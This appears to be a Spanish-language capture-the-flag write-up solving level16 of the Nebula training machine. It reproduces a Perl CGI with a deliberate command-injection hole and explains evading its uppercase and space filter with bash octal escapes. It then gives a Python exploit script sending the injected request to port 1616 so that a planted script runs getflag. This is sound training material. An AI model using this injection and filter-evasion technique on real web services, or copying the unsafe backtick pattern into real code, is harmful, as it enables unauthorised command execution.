Resolvamos level16 en la máquina Nebula de Exploit-Exercises:
level16@nebula:/home/flag16$ ls -al
total 10
drwxr-x--- 2 flag16 level16 120 2011-11-20 21:46 .
drwxr-xr-x 1 root root 80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag16 flag16 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag16 flag16 3353 2011-05-18 02:54 .bashrc
-rwxr-xr-x 1 root root 730 2011-11-20 21:46 index.cgi
-rw-r--r-- 1 flag16 flag16 675 2011-05-18 02:54 .profile
-rw-r--r-- 1 root root 3719 2011-11-20 21:46 thttpd.conf
-rw-r--r-- 1 root root 0 2011-11-20 21:46 userdb.txt
level16@nebula:/home/flag16$ cat thttpd.conf | grep port
# Specifies an alternate port number to listen on.
port=1616
Otro CGI en Perl esperando datos del usuario en el puerto 1616:
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
Una inyección de comandos muy similar a la de level07, pero esta vez con un molesto filtro a evadir. Nuestro input es convertido a mayúsculas, y todo lo que se encuentre después de un espacio es descartado. Rápidamente se me viene a la mente la posibilidad de utilizar alguna clase de codificación numérica.
bash
soporta hexadecimal en la forma \xNN
y octal \nnn
(Advanced Bash-Scripting Guide: 5.2 Escaping). Esta última parece más interesante al no contener caracteres en minúsculas. Podemos codificar algo como /tmp/boom
de la siguiente manera:
$'\57\164\155\160\57\142\157\157\155'
/tmp/boom
será un bash script que ejecute getflag
y redirija el resultado hacia /tmp/pwned
#!/bin/sh
/bin/getflag > /tmp/pwned
Finalmente nuestro exploit en Python:
import socket
def connect(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("[+] Conectado a " + ip + ":" + str(port))
except:
print("[X] Se producjo un error de conexion")
exit(1)
return s
def exploit():
s = connect("localhost", 1616)
s.send('GET /index.cgi?username="$($\'\\57\\164\\155\\160\\57\\142\\157\\157\\155\')"&password=a HTTP/1.0\n\n')
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
s.close()
if __name__ == "__main__":
exploit()
Y el resultado, por supuesto, es el esperado:
level16@nebula:/home/flag16$ cat /tmp/pwned
You have successfully executed getflag on a target account
Pwned!
No hay comentarios:
Publicar un comentario